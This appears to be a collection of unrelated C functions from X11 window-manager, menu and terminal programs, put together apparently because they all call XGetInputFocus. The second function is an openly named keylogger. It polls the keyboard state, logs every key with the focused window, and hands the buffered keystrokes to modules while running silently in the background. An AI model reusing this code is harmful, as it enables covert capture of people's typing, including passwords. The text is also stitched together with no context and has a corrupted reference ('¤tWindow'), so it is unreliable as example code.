if (last_focused && current_focused == termwin) XSetInputFocus(dpy, last_focused, RevertToPointerRoot, CurrentTime); /* else XSetInputFocus(dpy, PointerRoot, RevertToPointerRoot, CurrentTime); */ if (opt_step && !fullscreen) roll(UP); XUnmapWindow(dpy, win); hidden = 1; XSync(dpy, False); } else { XGetInputFocus(dpy, &last_focused, &revert_to); last_focused = get_toplevel_parent(last_focused); if (opt_step && !fullscreen) { XGrabServer(dpy); roll(DOWN); XUngrabServer(dpy); } else if (opt_xrandr) update_geom(last_focused); XMoveWindow(dpy, win, opt_x, opt_y); XMapWindow(dpy, win); XRaiseWindow(dpy, win); XSetInputFocus(dpy, termwin, RevertToPointerRoot, CurrentTime); hidden = 0; XSync(dpy, False); XSetInputFocus(dpy, termwin, RevertToPointerRoot, CurrentTime); XSync(dpy, False); } break; } if (!hidden) { if (key == opt_key_full) { if (!fullscreen) { old_height = height; height = get_optimal_height(get_display_height()); fullscreen = 1; } else { height = old_height; fullscreen = 0; } } /* update height inc just in case something changed for the * terminal, i.e. font size */ resize_inc = get_height_inc(); if (key == opt_key_bigger) height += resize_inc; if (key == opt_key_smaller) height -= resize_inc; if (height < resize_inc) height = resize_inc; height = get_optimal_height(height); resize_term(opt_width, height); XSetInputFocus(dpy, termwin, RevertToPointerRoot, CurrentTime); XSync(dpy, False); } break; case ButtonPress: resize(); XSync(dpy, False); break; case UnmapNotify: if (event.xunmap.window == termwin) { if (opt_restart) { if (opt_restart_hidden) { roll(UP); hidden = 1; } init_xterm(0); XSync(dpy, False); if (opt_restart_hidden && last_focused) XSetInputFocus(dpy, last_focused, RevertToPointerRoot, CurrentTime); else XSetInputFocus(dpy, termwin, RevertToPointerRoot, CurrentTime); } else { if (last_focused) XSetInputFocus(dpy, last_focused, RevertToPointerRoot, CurrentTime); XSync(dpy, False); exit(0); } } break; } } return 0; }
void keylogger(void **hdlarr) { BUFFER *b; b = initBuffer(); Display *display; char keyboardState[32]; char keyboardStateOld[32] = {0}; char bit, bitOld; int iCheck; char keyboardStatesym, *keyboardStateString; time_t timeout = 0; int keyCode; int needToFree = 0; Window focusWin = NULL, oldfocusWin = NULL; int iReverToReturn = NULL; display = XOpenDisplay(NULL); if (display == NULL) { printf("Error: XOpenDisplay\n"); exit(1); } int logging = 0; while(1) { usleep(SLEEP); if ((logging == 1) && (time(NULL) > timeout)) { logging = 0; moduleFeed(hdlarr, b->buffer); emptyData(b); } XQueryKeymap(display, keyboardState); if (memcmp(keyboardState, keyboardStateOld, 32) != NULL) { /* XImage* pic; pic = XGetImage(display, RootWindow(display, DefaultScreen(display)), 10, 10, 201, 201, AllPlanes, ZPixmap); */ int i = 0, j = 0; for(i = 0; i < sizeof( keyboardState ); i++) { bit = keyboardState[i]; bitOld = keyboardStateOld[i]; iCheck = 1; for ( j = 0 ; j < 8 ; j++ ) { if ((bit & iCheck) && !(bitOld & iCheck)) { keyCode = i * 8 + j; keyboardStatesym = XkbKeycodeToKeysym(display, keyCode, 0, 0); keyboardStateString = XKeysymToString(keyboardStatesym); if (keyboardStateString == NULL) { switch (keyCode) { case 22: keyboardStateString = "backspace"; break; case 36: keyboardStateString = "enter"; break; default: keyboardStateString = "unknown"; } } if (strlen(keyboardStateString) > 1) { addParentheses(&keyboardStateString); needToFree = 1; } // Get current active window oldfocusWin = focusWin; XGetInputFocus(display, &focusWin, &iReverToReturn); if (!background) { printf("WindowID %x Key: %s Code: %i\n", focusWin, keyboardStateString, keyCode); } if (focusWin != oldfocusWin) { moduleFeed(hdlarr, b->buffer); emptyData(b); } addData(b, keyboardStateString); //printf("Contents of buffer: %s", b->buffer); timeout = time(NULL) + INTERVALOFINACTIVITY; logging = 1; if (needToFree) { free(keyboardStateString); needToFree = 0; } } iCheck = iCheck << 1 ; } } } memcpy(keyboardStateOld, keyboardState, 32); } XCloseDisplay(display); }
void setup(void) { int x, y, screen = DefaultScreen(dc->dpy); Window root = RootWindow(dc->dpy, screen); XSetWindowAttributes swa; XIM xim; #ifdef XINERAMA int n; XineramaScreenInfo *info; #endif clip = XInternAtom(dc->dpy, "CLIPBOARD", False); utf8 = XInternAtom(dc->dpy, "UTF8_STRING", False); /* calculate menu geometry */ bh = (line_height > dc->font.height + 2) ? line_height : dc->font.height + 2; lines = MAX(lines, 0); mh = (lines + 1) * bh; #ifdef XINERAMA if((info = XineramaQueryScreens(dc->dpy, &n))) { int a, j, di, i = 0, area = 0; unsigned int du; Window w, pw, dw, *dws; XWindowAttributes wa; XGetInputFocus(dc->dpy, &w, &di); if(w != root && w != PointerRoot && w != None) { /* find top-level window containing current input focus */ do { if(XQueryTree(dc->dpy, (pw = w), &dw, &w, &dws, &du) && dws) XFree(dws); } while(w != root && w != pw); /* find xinerama screen with which the window intersects most */ if(XGetWindowAttributes(dc->dpy, pw, &wa)) for(j = 0; j < n; j++) if((a = INTERSECT(wa.x, wa.y, wa.width, wa.height, info[j])) > area) { area = a; i = j; } } /* no focused window is on screen, so use pointer location instead */ if(!area && XQueryPointer(dc->dpy, root, &dw, &dw, &x, &y, &di, &di, &du)) for(i = 0; i < n; i++) if(INTERSECT(x, y, 1, 1, info[i])) break; x = info[i].x_org; y = info[i].y_org + (topbar ? yoffset : info[i].height - mh - yoffset); mw = info[i].width; XFree(info); } else #endif { x = 0; y = topbar ? 0 : DisplayHeight(dc->dpy, screen) - mh - yoffset; mw = DisplayWidth(dc->dpy, screen); } x += xoffset; mw = width ? width : mw; promptw = (prompt && *prompt) ? textw(dc, prompt) : 0; inputw = MIN(inputw, mw/3); match(); /* create menu window */ swa.override_redirect = True; swa.background_pixel = normcol->BG; swa.event_mask = ExposureMask | KeyPressMask | VisibilityChangeMask; win = XCreateWindow(dc->dpy, root, x, y, mw, mh, 0, DefaultDepth(dc->dpy, screen), CopyFromParent, DefaultVisual(dc->dpy, screen), CWOverrideRedirect | CWBackPixel | CWEventMask, &swa); /* open input methods */ xim = XOpenIM(dc->dpy, NULL, NULL, NULL); xic = XCreateIC(xim, XNInputStyle, XIMPreeditNothing | XIMStatusNothing, XNClientWindow, win, XNFocusWindow, win, NULL); XMapRaised(dc->dpy, win); resizedc(dc, mw, mh); drawmenu(); }
struct menu * menu_filter(struct screen_ctx *sc, struct menu_q *menuq, char *prompt, char *initial, int dummy, void (*match)(struct menu_q *, struct menu_q *, char *), void (*print)(struct menu *, int)) { struct menu_ctx mc; struct menu_q resultq; struct menu *mi = NULL; XEvent e; Window focuswin; int evmask, focusrevert; int xsave, ysave, xcur, ycur; TAILQ_INIT(&resultq); bzero(&mc, sizeof(mc)); xu_ptr_getpos(sc->rootwin, &mc.x, &mc.y); xsave = mc.x; ysave = mc.y; if (prompt == NULL) { evmask = MENUMASK; mc.promptstr[0] = '\0'; mc.list = 1; } else { evmask = MENUMASK | KEYMASK; /* only accept keys if prompt */ (void)snprintf(mc.promptstr, sizeof(mc.promptstr), "%s%s", prompt, PROMPT_SCHAR); (void)snprintf(mc.dispstr, sizeof(mc.dispstr), "%s%s%s", mc.promptstr, mc.searchstr, PROMPT_ECHAR); mc.width = font_width(sc, mc.dispstr, strlen(mc.dispstr)); mc.hasprompt = 1; } if (initial != NULL) (void)strlcpy(mc.searchstr, initial, sizeof(mc.searchstr)); else mc.searchstr[0] = '\0'; mc.match = match; mc.print = print; mc.entry = mc.prev = -1; XMoveResizeWindow(X_Dpy, sc->menuwin, mc.x, mc.y, mc.width, font_height(sc)); XSelectInput(X_Dpy, sc->menuwin, evmask); XMapRaised(X_Dpy, sc->menuwin); if (xu_ptr_grab(sc->menuwin, MENUGRABMASK, Cursor_question) < 0) { XUnmapWindow(X_Dpy, sc->menuwin); return (NULL); } XGetInputFocus(X_Dpy, &focuswin, &focusrevert); XSetInputFocus(X_Dpy, sc->menuwin, RevertToPointerRoot, CurrentTime); /* make sure keybindings don't remove keys from the menu stream */ XGrabKeyboard(X_Dpy, sc->menuwin, True, GrabModeAsync, GrabModeAsync, CurrentTime); menu_draw(sc, &mc, menuq, &resultq); for (;;) { mc.changed = 0; XWindowEvent(X_Dpy, sc->menuwin, evmask, &e); switch (e.type) { case KeyPress: if ((mi = menu_handle_key(&e, &mc, menuq, &resultq)) != NULL) goto out; /* FALLTHROUGH */ case Expose: menu_draw(sc, &mc, menuq, &resultq); break; case MotionNotify: menu_handle_move(&e, &mc, &resultq, sc); break; case ButtonRelease: if ((mi = menu_handle_release(&e, &mc, sc, &resultq)) != NULL) goto out; break; default: break; } } out: if (dummy == 0 && mi->dummy) { /* no mouse based match */ xfree(mi); mi = NULL; } XSetInputFocus(X_Dpy, focuswin, focusrevert, CurrentTime); /* restore if user didn't move */ xu_ptr_getpos(sc->rootwin, &xcur, &ycur); if (xcur == mc.x && ycur == mc.y) xu_ptr_setpos(sc->rootwin, xsave, ysave); xu_ptr_ungrab(); XUnmapWindow(X_Dpy, sc->menuwin); XUngrabKeyboard(X_Dpy, CurrentTime); return (mi); }
char * get_more_input (char *prompt, char *preinput, int history_id, completion_fn compl_fn) { /* Emacs 21 uses a 513 byte string to store the keysym name. */ char keysym_buf[513]; rp_screen *s = current_screen (); KeySym ch; unsigned int modifier; rp_input_line *line; char *final_input; edit_status status; Window focus; int revert, done = 0; history_reset(); /* Create our line structure */ line = input_line_new (prompt, preinput, history_id, compl_fn); /* We don't want to draw overtop of the program bar. */ hide_bar (s); /* Switch to the default colormap. */ if (current_window()) XUninstallColormap (dpy, current_window()->colormap); XInstallColormap (dpy, s->def_cmap); XMapWindow (dpy, s->input_window); XRaiseWindow (dpy, s->input_window); XClearWindow (dpy, s->input_window); /* Switch focus to our input window to read the next key events. */ XGetInputFocus (dpy, &focus, &revert); set_window_focus (s->input_window); XSync (dpy, False); update_input_window (s, line); while (!done) { read_key (&ch, &modifier, keysym_buf, sizeof (keysym_buf)); modifier = x11_mask_to_rp_mask (modifier); PRINT_DEBUG (("ch = %ld, modifier = %d, keysym_buf = %s", ch, modifier, keysym_buf)); status = execute_edit_action (line, ch, modifier, keysym_buf); switch (status) { case EDIT_COMPLETE: case EDIT_DELETE: case EDIT_INSERT: case EDIT_MOVE: /* If the text changed (and we didn't just complete something) then set the virgin bit. */ if (status != EDIT_COMPLETE) line->compl->virgin = 1; /* In all cases, we need to redisplay the input string. */ update_input_window (s, line); break; case EDIT_NO_OP: ring_bell (); break; case EDIT_ABORT: final_input = NULL; done = 1; break; case EDIT_DONE: final_input = xstrdup (line->buffer); done = 1; break; default: PRINT_ERROR (("Unhandled status %d; this is a *BUG*\n", status)); exit (EXIT_FAILURE); } } /* Clean up our line structure */ input_line_free (line); /* Revert focus. */ set_window_focus (focus); XUnmapWindow (dpy, s->input_window); /* Possibly restore colormap. */ if (current_window()) { XUninstallColormap (dpy, s->def_cmap); XInstallColormap (dpy, current_window()->colormap); } return final_input; }
void greate_win_flag(xkb_info *k,gpointer data) { //int timer; AConvert *aconv = (AConvert *)data; int revert_to; Window focuswin; XWindowAttributes win_attributes; Window junkwin; int rx, ry, pos_x,pos_y=0; if(aconv->sxkb->view_flag==0) return; XGetInputFocus(GDK_DISPLAY(), &focuswin, &revert_to); if (focuswin) { XGetWindowAttributes(GDK_DISPLAY(), focuswin, &win_attributes); XTranslateCoordinates (GDK_DISPLAY(), focuswin, win_attributes.root, -win_attributes.border_width,-win_attributes.border_width, &rx, &ry, &junkwin); pos_x=rx;//((win_attributes.width/2)+rx); pos_y=ry;//((win_attributes.height/2)+ry); } else { pos_x=0;//200; pos_y=0;//200; } if(!aconv->sxkb->flag_win) { aconv->sxkb->flag_win = gtk_window_new (GTK_WINDOW_POPUP); gtk_widget_set_size_request (GTK_WIDGET(aconv->sxkb->flag_win), 32, 24); gtk_widget_set_uposition(GTK_WIDGET(aconv->sxkb->flag_win),pos_x,pos_y); //gtk_window_set_position (GTK_WINDOW (sven->sxkb->flag_win), GTK_WIN_POS_CENTER); aconv->sxkb->flag_image = gtk_image_new(); gtk_widget_show (aconv->sxkb->flag_image); gtk_container_add (GTK_CONTAINER (aconv->sxkb->flag_win), aconv->sxkb->flag_image); gtk_widget_show_all (aconv->sxkb->flag_win); } else { if (k->flag_img) { GdkPixbuf *pixbuf=gdk_pixbuf_scale_simple (k->flag_img,32,24,GDK_INTERP_BILINEAR); gtk_image_set_from_pixbuf(GTK_IMAGE(aconv->sxkb->flag_image),pixbuf); g_object_unref(pixbuf); } else { GdkPixbuf *pixbuf=create_pixbuf_flag("zz",32,24); gtk_image_set_from_pixbuf(GTK_IMAGE(aconv->sxkb->flag_image),pixbuf); g_object_unref(pixbuf); } gtk_widget_set_uposition(GTK_WIDGET(aconv->sxkb->flag_win),pos_x,pos_y); gtk_widget_show_all (aconv->sxkb->flag_win); } if (aconv->sxkb->timeId != 0) g_source_remove(aconv->sxkb->timeId); aconv->sxkb->timeId = g_timeout_add (800,timer_hide_win, aconv); }
/* Returns the active top-level window. A top-level window is one that has WM_CLASS set. * May also return None. */ Window getCurrentWindow() { /* First get the window that has the input focus */ Window currentWindow; int revert; XGetInputFocus(display, ¤tWindow, &revert); if (currentWindow == None) { //if(debugMode) printf("Leave getCurrentWindow\n"); return currentWindow; } /* Now go through parent windows until we find one with WM_CLASS set. */ XClassHint* classHint = XAllocClassHint(); if(classHint == NULL) { if(debugMode) printf("Couldn't allocate class hint!!\n"); return None; } int i = 0; while (1) { //if(debugMode) printf("in Loop\n"); i++; if(i >= 5) { if(debugMode) printf("Too many iterations in getCurrentWindow\n"); XFree(classHint); //if(debugMode) printf("Leave getCurrentWindow\n"); return None; } if (currentWindow == root || currentWindow == None) { //if(debugMode) printf("Reached root!\n"); /* No top-level window available. Should never happen. */ XFree(classHint); //if(debugMode) printf("Leave getCurrentWindow\n"); return currentWindow; } //if(debugMode) printf("Call XGetClassHint!\n"); if (XGetClassHint(display, currentWindow, classHint) == 0) { //if(debugMode) printf("Has no Class!\n"); /* Has no WM_CLASS, thus no top-level window */ Window parent = getParentWindow(currentWindow); if(parent == None || currentWindow == parent) { /* something wrong */ XFree(classHint); return currentWindow; } /* Continue with parent until we find WM_CLASS */ currentWindow = parent; } else { //if(debugMode) printf("Clean up class name!\n"); if(classHint->res_class != NULL) XFree(classHint->res_class); if(classHint->res_name != NULL) XFree(classHint->res_name); XFree(classHint); //if(debugMode) printf("Leave getCurrentWindow\n"); return currentWindow; } } }
void CaptureAllWindows (ScreenInfo *scr) { int i; unsigned int nchildren; Window root, parent, *children; Window focused = None ; int revert_to = RevertToNone ; XWindowAttributes attr; if( scr == NULL ) return ; focused = XGetInputFocus( dpy, &focused, &revert_to ); if (!XQueryTree (dpy, scr->Root, &root, &parent, &children, &nchildren)) return; /* weed out icon windows : */ for (i = 0; i < nchildren; i++) if (children[i] ) { XWMHints *wmhintsp = NULL; if( (wmhintsp = XGetWMHints (dpy, children[i])) != NULL ) { if( get_flags(wmhintsp->flags, IconWindowHint) ) { register int j ; for (j = 0; j < nchildren; j++) if (children[j] == wmhintsp->icon_window) { children[j] = None; break; } } XFree ((char *)wmhintsp); } } /* map all the rest of the windows : */ for (i = 0; i < nchildren; i++) if (children[i] ) { long nitems = 0; CARD32 *state_prop = NULL ; int wm_state = DontCareState ; int k ; for( k = 0 ; k < 4 ; ++k ) if( children[i] == Scr.PanFrame[k].win ) { children[i] = None ; break; } if( children[i] == None ) continue; if( children[i] == Scr.SizeWindow || children[i] == Scr.ServiceWin ) continue; if( window2ASWindow (children[i]) ) continue; /* weed out override redirect windows and unmapped windows : */ if ( !XGetWindowAttributes (dpy, children[i], &attr) ) continue; if( attr.override_redirect ) continue; if( read_32bit_proplist (children[i], _XA_WM_STATE, 2, &state_prop, &nitems) ) { wm_state = state_prop[0] ; free( state_prop ); } if( (wm_state == IconicState) || (attr.map_state != IsUnmapped)) { LOCAL_DEBUG_OUT( "adding window %lX", children[i] ); AddWindow( children[i], False ); } } if (children) XFree ((char *)children); if( focused != None && focused != PointerRoot ) { ASWindow *t = window2ASWindow( focused ); if( t ) activate_aswindow( t, False, False ); } }